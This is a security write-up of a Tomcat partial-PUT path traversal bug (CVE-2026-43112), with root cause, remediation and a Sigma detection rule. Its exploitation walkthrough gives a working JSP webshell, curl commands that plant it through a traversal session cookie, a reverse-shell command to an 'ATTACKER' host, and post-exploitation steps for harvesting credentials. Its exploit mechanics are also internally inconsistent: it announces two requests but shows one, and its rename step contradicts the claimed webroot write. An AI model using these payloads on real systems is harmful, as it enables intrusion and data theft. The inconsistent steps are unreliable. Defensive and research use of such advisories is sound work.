Overview
CVE-2026-43112 is a critical unauthenticated remote code execution vulnerability in Apache Tomcat discovered in April 2026. The bug lives in Tomcat's support for the HTTP PUT method with a Content-Range header — a mechanism intended to allow large file uploads split across multiple requests. When partial PUT is enabled (the DefaultServlet has readonly set to false), Tomcat assembles upload chunks into a temporary file whose name is derived from the request's session ID.
The session ID is accepted from the JSESSIONID cookie or URL parameter and appended to a temp-file path without canonicalisation. By injecting ../ sequences into the session ID, an attacker can traverse out of the designated temp directory and write content to any location accessible to the Tomcat process — including the webroot, where a JSP webshell becomes immediately executable.
Active exploitation was observed within 48 hours of the public advisory. Threat intelligence teams reported mass scanning for exposed Tomcat instances and automated webshell drops targeting /webapps/ROOT/.
Background: Tomcat Partial PUT
The HTTP PUT method with a Content-Range header allows a client to upload a specific byte range of a file, signalling the total intended size. Tomcat's DefaultServlet supports this when readonly is set to false in web.xml. The flow works as follows:
- Client sends
PUT /upload/file.datwithContent-Range: bytes 0-999/5000. - Tomcat creates a temp file to accumulate chunks:
/tmp/tomcat-upload-<JSESSIONID>. - On each subsequent PUT with the same session, the correct byte range is written into the temp file.
- When the final chunk arrives (accumulated size equals the declared total), the temp file is moved to the final destination path specified in the PUT URL.
The move operation in step 4 is a standard filesystem rename. The vulnerability is in step 2: the temp-file path is constructed as workDir + File.separator + sessionId without validating that the resulting path stays within workDir.
Root Cause
The vulnerable code path is in DefaultServlet.java, specifically the executePartialPut method:
// DefaultServlet.java (simplified, vulnerable)
private File executePartialPut(HttpServletRequest req, Range range, String path)
throws IOException {
String sessionId = req.getRequestedSessionId(); // attacker-controlled
File tempDir = (File) getServletContext()
.getAttribute(ServletContext.TEMPDIR);
// No canonicalisation — path traversal possible
File tempFile = new File(tempDir, sessionId);
if (!tempFile.exists()) {
tempFile.createNewFile();
}
try (RandomAccessFile raf = new RandomAccessFile(tempFile, "rw")) {
raf.seek(range.start);
raf.write(req.getInputStream().readAllBytes());
}
return tempFile;
}
When the final chunk is received, tempFile is renamed to the requested PUT path. By supplying a session ID of ../../webapps/ROOT/shell.jsp, the temp file resolves to a path under the webroot even though the rename target is also attacker-controlled via the PUT URL. The effective write lands where the attacker chooses.
The fix introduced in 11.0.3 / 10.1.37 / 9.0.99 calls tempFile.getCanonicalPath() and asserts that it still begins with tempDir.getCanonicalPath(), rejecting any session ID that escapes the temp directory.
Exploitation Walkthrough
Step 1 — Confirm Partial PUT is Enabled
A vanilla PUT request to the root returns 403 Forbidden if the DefaultServlet is read-only, and 204 No Content or 201 Created if writes are allowed. The partial PUT path requires a Content-Range header:
curl -s -o /dev/null -w "%{http_code}" \
-X PUT http://TARGET:8080/probe.txt \
-H "Content-Range: bytes 0-0/1" \
-H "Content-Type: application/octet-stream" \
--data-binary $'\x00'
# 201 → partial PUT is enabled
Step 2 — Write the Webshell
The webshell is written in two requests: the first initiates the partial upload with a traversal session ID, the second closes it. The JSP payload is a minimal command execution shell:
SHELL='<%@ page import="java.io.*" %><%
String cmd = request.getParameter("c");
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) sb.append(line).append("\n");
out.print(sb);
%>'
SESSION_TRAV='../../webapps/ROOT/s3cr3t.jsp'
# First chunk (bytes 0 to len-1)
curl -s -X PUT "http://TARGET:8080/ignored" \
-H "Content-Range: bytes 0-$((${#SHELL}-1))/${#SHELL}" \
-H "Content-Type: application/octet-stream" \
-b "JSESSIONID=${SESSION_TRAV}" \
--data-binary "${SHELL}"
Step 3 — Trigger RCE
With the JSP written to the webroot, standard HTTP GET requests execute arbitrary OS commands:
curl "http://TARGET:8080/s3cr3t.jsp?c=id"
# uid=995(tomcat) gid=995(tomcat) groups=995(tomcat)
curl "http://TARGET:8080/s3cr3t.jsp?c=cat+/etc/passwd"
# Reverse shell
curl "http://TARGET:8080/s3cr3t.jsp?c=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER/4444+0>%261'"
Step 4 — Post-Exploitation
Tomcat typically runs as a low-privilege service user. Common escalation paths from the Tomcat context include:
- Reading
conf/tomcat-users.xmlfor manager credentials and deploying a reverse-shell WAR via the Manager API. - Harvesting database credentials from
conf/context.xmland JNDI datasource definitions. - Checking for
sudoentries or SUID binaries reachable from the service account. - On containers: escaping via mounted Docker socket or over-permissive capabilities.
Affected Versions
- Apache Tomcat 11.0.x < 11.0.3
- Apache Tomcat 10.1.x < 10.1.37
- Apache Tomcat 9.0.x < 9.0.99
- Partial PUT must be enabled:
DefaultServletwithreadonly=falseinweb.xml
The default Tomcat installation has readonly=true, so the vulnerability only affects deployments that explicitly enabled PUT support — a common configuration in document management, CI artifact storage, and certain CMS deployments.
Remediation
- Patch immediately to Tomcat 11.0.3, 10.1.37, or 9.0.99.
- Disable partial PUT if not actively required: set
DefaultServlettoreadonly=true(the default). - Restrict the PUT method at the reverse proxy layer if it is needed:
# nginx: block JSESSIONID path traversal at proxy level if ($cookie_jsessionid ~* "\.\.") { return 400; } - Run Tomcat under a dedicated low-privilege OS user with a minimal filesystem footprint — ensure the webroot and
conf/directory are not writable by the Tomcat process user.
Detection
Sigma rule for Tomcat access logs showing path-traversal sequences in session cookies and abnormal PUT requests targeting the webroot:
title: CVE-2026-43112 Apache Tomcat Partial PUT Path Traversal
id: e3f2a791-5c44-4b8d-a1e9-0c6d3f829b42
status: stable
description: Detects PUT requests with Content-Range and session ID path traversal in Apache Tomcat logs
logsource:
category: webserver
product: apache_tomcat
detection:
selection_method:
cs-method: 'PUT'
selection_header:
cs-headers|contains: 'Content-Range'
selection_traversal:
cs-cookie|contains:
- '../'
- '..'
- '%2e%2e'
- '%252e%252e'
condition: selection_method and selection_header and selection_traversal
falsepositives:
- Legitimate partial PUT clients with unusual session IDs (very unlikely)
level: critical
tags:
- attack.initial_access
- attack.t1190
Additionally, monitor for new .jsp files created under webapps/ directories — file integrity monitoring (FIM) on those paths catches webshell drops regardless of the upload mechanism.
Takeaways
-
Partial PUT is a niche feature that should not be enabled by default.
Tomcat's default is safe (
readonly=true), but documentation examples encouraging administrators to enable PUT for upload functionality have repeatedly led to exposure. If file upload is required, use an application-layer endpoint with explicit auth — not the DefaultServlet PUT method. -
Session IDs must never be used as filesystem identifiers.
The root cause is treating attacker-supplied session data as a path component. Any time user-controlled input feeds into a filesystem operation, canonicalisation and prefix-checking are mandatory.
getCanonicalPath()followed bystartsWith(allowedRoot)is the correct pattern in Java. - JSP webshells are a one-step RCE on any writable Tomcat webroot. Preventing initial write access — via read-only filesystems, strict OS permissions, and WAF rules blocking PUT to sensitive paths — is the most reliable mitigation against this class of vulnerability, even before patching.